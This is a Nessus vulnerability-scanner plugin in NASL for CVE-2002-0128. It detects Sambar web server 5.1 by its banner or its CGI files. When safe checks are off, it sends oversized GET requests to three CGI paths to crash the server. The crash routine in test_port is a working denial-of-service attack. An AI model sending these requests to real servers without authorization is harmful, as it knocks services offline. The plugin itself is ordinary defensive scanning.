home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / sambar_DoS.nasl < prev    next >
Text File  |  2005-03-31  |  4KB  |  157 lines

  1. #
  2. # This script was written by Michel Arboi <arboi@alussinan.org>
  3. #
  4. # GPL
  5. #
  6. # References:
  7. # From: "Tamer Sahin" <ts@securityoffice.net>
  8. # To: bugtraq@securityfocus.com
  9. # Subject: Sambar Webserver v5.1 DoS Vulnerability
  10. # Date: Wed, 16 Jan 2002 01:57:17 +0200
  11. # Affiliation: http://www.securityoffice.net
  12. #
  13. # Vulnerables:
  14. # Sambar WebServer v5.1 
  15. # NB: this version of Sambar is also vulnerable to a too long HTTP field.
  16. #
  17.  
  18. if(description)
  19. {
  20.  script_version ("$Revision: 1.12 $");
  21.  script_id(11131);
  22.  script_bugtraq_id(3885);
  23.  script_name(english:"Sambar web server DOS");
  24.  script_cve_id("CVE-2002-0128");
  25.  
  26.  desc["english"] = "
  27. It is possible to kill the Sambar web server 'server.exe'
  28. by sending it a long request like:
  29.     /cgi-win/testcgi.exe?XXXX...X
  30.     /cgi-win/cgitest.exe?XXXX...X
  31.     /cgi-win/Pbcgi.exe?XXXXX...X
  32. (or maybe in /cgi-bin/)
  33.  
  34. A cracker may use this flaw to make your server crash 
  35. continuously, preventing you from working properly.
  36.  
  37. Solution : upgrade your server to Sambar 51p or delete those CGI.
  38.  
  39. Risk factor : Medium";
  40.  
  41.  script_description(english:desc["english"]);
  42.  
  43.  summary["english"] = "Crashes Sambar web server";
  44.  script_summary(english:summary["english"]);
  45.  
  46.  script_category(ACT_MIXED_ATTACK);
  47.  
  48.  script_copyright("This script is Copyright (C) 2002 Michel Arboi");
  49.  family["english"] = "Denial of Service";
  50.  family["francais"] = "DΘni de service";
  51.  script_family(english:family["english"], francais:family["francais"]);
  52.  script_dependencies("find_service.nes", "http_version.nasl");
  53.  script_require_ports("Services/www", 80);
  54.  script_require_keys("www/sambar");
  55.  exit(0);
  56. }
  57.  
  58. # The script code starts here
  59.  
  60. include("http_func.inc");
  61. include("http_keepalive.inc");
  62.  
  63. # The advisories are not clear: is this cgitest.exe or testcgi.exe?
  64. # Is it in cgi-bin or cgi-win?
  65. dir[0] = "";        # Keep it here or change code below
  66. dir[1] = "/cgi-bin/";
  67. dir[2] = "/cgi-win/";
  68.  
  69. fil[0] = "cgitest.exe";
  70. fil[1] = "testcgi.exe";
  71. fil[2] = "Pbcgi.exe";
  72.  
  73. port = get_http_port(default:80);
  74.  
  75. if(! get_port_state(port)) exit(0);
  76.  
  77. banner = get_http_banner(port: port);
  78. if (! banner) exit(0);
  79.  
  80. if (safe_checks())
  81. {
  82.  # 5.1b (beta) or 5.1p (prod) announce "Server: SAMBAR 5.1"
  83.  
  84.  if (egrep(pattern: "Server: *SAMBAR +([1-4]\.|5\.0)", 
  85.     string:banner, icase: 1))
  86.  {
  87.     msg = "It should possible to kill the Sambar web server 'server.exe'
  88. by sending it a long request like:
  89.     /cgi-win/testcgi.exe?XXXX...X
  90.     /cgi-win/cgitest.exe?XXXX...X
  91.     /cgi-win/Pbcgi.exe?XXXXX...X
  92. (or maybe in /cgi-bin/)
  93.  
  94. A cracker may use this flaw to make your server crash 
  95. continuously, preventing you from working properly.
  96.  
  97. ** Nessus only check the version number in the banner and did not
  98. ** perform the real attack. It might be a false positive.
  99.  
  100. Solution : upgrade your server to Sambar 51p or delete those CGI.
  101.  
  102. Risk factor : Medium";
  103.  
  104.    security_warning(port: port, data: msg);
  105.    exit(0);
  106.   }
  107.  
  108.  for (c=0; c<3; c=c+1) {
  109.   for (d=0; d<3; d=d+1) {
  110.    if (is_cgi_installed_ka(port: port, item: string(dir[d], fil[c]))) {
  111.     msg2 = string(dir[d], fil[c], " is installed.\n",
  112.     "They are usually shiped with the Sambar web server.\n",
  113.     "Version before 51p are vulnerable to an overflow that leads to \n",
  114.     "a denial of service\n\n",
  115.     "** Nessus was unable to check the version number in the banner \n",
  116.     "** and did not perform the real attack. This may be a false positive\n\n",
  117.     "Solution : upgrade your server to Sambar 51p or delete those CGI.\n\n",
  118.     "Risk factor : Medium");
  119.     security_warning(port: port, data: msd2);
  120.     exit(0);
  121.    }
  122.   }
  123.  }
  124.  exit (0);
  125. }
  126.  
  127.  
  128. if(http_is_dead(port:port))exit(0);
  129.  
  130. # TBD: request each URL a few times...
  131. function test_port(port, cgi)
  132. {
  133.  soc = http_open_socket(port);
  134.  if(!soc) return(1);
  135.  
  136.  r = string(cgi, "?", crap(4096));
  137.  req = http_get(item:r, port:port);
  138.  send(socket:soc, data:req);
  139.  r = http_recv(socket:soc);
  140.  http_close_socket(soc);
  141.  return(0);
  142. }
  143.  
  144. for (c=0; c<3; c=c+1) {
  145.  # WARNING! Next loop start at 1, not 0 !
  146.  for (d=1; d<3; d=d+1) {
  147.   if (test_port(port: port, cgi: string(dir[d], fil[c]))) {
  148.    # If we fail on the first connection, this means the 
  149.    # server is already dead
  150.    if ((c > 0) || (d > 1)) security_hole(port);
  151.    exit(0);
  152.   }
  153.  }
  154. }
  155.  
  156. if(http_is_dead(port:port))security_hole(port);
  157.